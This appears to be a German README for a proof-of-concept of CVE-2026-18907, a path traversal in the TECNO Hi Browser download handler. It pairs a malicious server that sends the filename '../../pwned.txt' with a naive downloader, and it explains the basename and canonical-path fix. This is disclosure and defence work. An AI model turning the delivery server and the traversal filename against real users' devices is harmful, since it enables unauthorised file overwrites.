
Python-PoC für CVE-2026-18907 Path Traversal im Download-Handler des TECNO Hi Browser. Enthält einen bösartigen HTTP-Server und einen naiven Downloader, um den Fix zu demonstrieren.
Proof-of-Concept für CVE-2026-18907 (CVSS 7.5 Hoch, CWE-23), eine relative Pfad-Traversal-Schwachstelle in der Download-Dateifunktion von TECNO Hi Browser (com.talpa.hibrowser) Version 2.23.1.1. Der Browser vertraute einem angreiferkontrollierten Content-Disposition-Dateinamen und fügte ihn ohne Bereinigung von Pfadtrennzeichen oder Prüfung des kanonischen Pfads an das Download-Verzeichnis an – daher konnten ../-Sequenzen im Dateinamen den Antworttext außerhalb von Download/ an jeden Pfad schreiben lassen, den die Speicherberechtigungen des Browsers erlauben.
Dieses PoC enthält nicht das proprietäre
com.talpa.hibrowser-APK. Es zeigt (a) die exakte bösartige HTTP-Auslieferung und (b) die Klasse der Grundursache des Fehlers (einen Downloader, der einem Antwortdateinamen als Pfadkomponente vertraut). Dasselbe Grundprinzip wird von CVE-2026-18907 beschrieben.
| Datei | Zweck |
|---|---|
evil_server.py | Der bösartige HTTP-Server. Liefert eine Antwort, deren -Dateiname enthält. Das ist die . |
# terminal 1 — start the delivery server
$ python3 evil_server.py
================================================================
CVE-2026-18907 path-traversal delivery server
================================================================
listening : http://0.0.0.0:8000/
traversal file: '../../pwned.txt'
payload bytes : 43
----------------------------------------------------------------
Point a vulnerable browser/downloader at the URL above.
On a VULNERABLE client the file escapes the download dir.
================================================================
# terminal 2 — run the naive downloader against it
$ python3 naive_downloader.py --url http://127.0.0.1:8000/
================================================================
CVE-2026-18907 naive downloader
================================================================
download dir : /tmp/demo/Download
Content-Disposition: attachment; filename="../../pwned.txt"
parsed name : '../../pwned.txt'
----------------------------------------------------------------
[VULNERABLE] wrote 43 bytes -> /tmp/demo/Download/../../pwned.txt
resolved -> /tmp/pwned.txt
escaped download dir: True
[FIXED] wrote 43 bytes -> /tmp/demo/Download/pwned.txt
../ discarded by basename(); contained OK
================================================================
Die anfällige Verkettung erzeugte /tmp/demo/Download/../../pwned.txt, das Betriebssystem
löste die .. auf, und die Datei wurde unter /tmp/pwned.txt abgelegt – außerhalb
des Download-Verzeichnisses. Der korrigierte Pfad wandte zuerst os.path.basename() an (die
../-Sequenz ist Pfadinformation und wird verworfen, sodass pwned.txt übrig bleibt) und
prüfte dann, ob der kanonische Pfad innerhalb des Download-Verzeichnisses blieb.
Starte evil_server.py auf einem Host, den das Testgerät erreichen kann, und navigiere dann mit einem anfälligen Browser zu http://<host>:8000/. Bei einem Browser, der attachment-Downloads automatisch startet und den Dateinamen nicht bereinigt, wird die Datei unter einem Pfad geschrieben, der durch die ../-Kette aufgelöst wird. Prüfe mit adb, dass die Eindämmung fehlgeschlagen ist:
$ adb shell ls -la /sdcard/Download/ # nothing — name never landed here
$ adb shell find /sdcard -name pwned.txt
/sdcard/pwned.txt # escaped the download directory
Passe die Aufstiegstiefe mit --depth an das Gerät an (Standard 2 führt von
/sdcard/Download/ zurück zu /sdcard/; erhöhe den Wert, um höher zu steigen) und
den Ziel-Basisnamen mit --target.
Für jeden Download-Manager lässt sich die gesamte CWE-23-Klasse auf zwei gemeinsam angewendete Gewohnheiten reduzieren:
/ entfernen.File base = downloadDir.getCanonicalFile();
File out = new File(base, safeName).getCanonicalFile();
if (!out.toPath().startsWith(base.toPath())) {
throw new SecurityException("refusing to write outside download dir: " + out);
}
Blackliste ../ nicht – die Menge der traversierungsäquivalenten Kodierungen ist offen. Kanonisiere und vergleiche dann. Dieser Algorithmus ist abgeschlossen.
Führe den Server nur in einem Netzwerk aus, das du kontrollierst, und teste nur an einem Gerät, das dir gehört. Ein Path-Traversal-Schreibzugriff ist per Definition eine Dateischreib-Primitive – richte ihn auf nichts, das du nicht bereit bist zu überschreiben.
MIT – siehe den Begleitartikel für vollständige Namensnennung und Primärquellen.
Content-Disposition../naive_downloader.py | Ein minimaler Downloader, der das anfällige join(dir, filename)-Muster nachbildet, zusammen mit der korrigierten (Basename + Kanonische-Pfad-Prüfung) Version, damit du den Ausbruch in einem einzigen Lauf beobachten kannst. |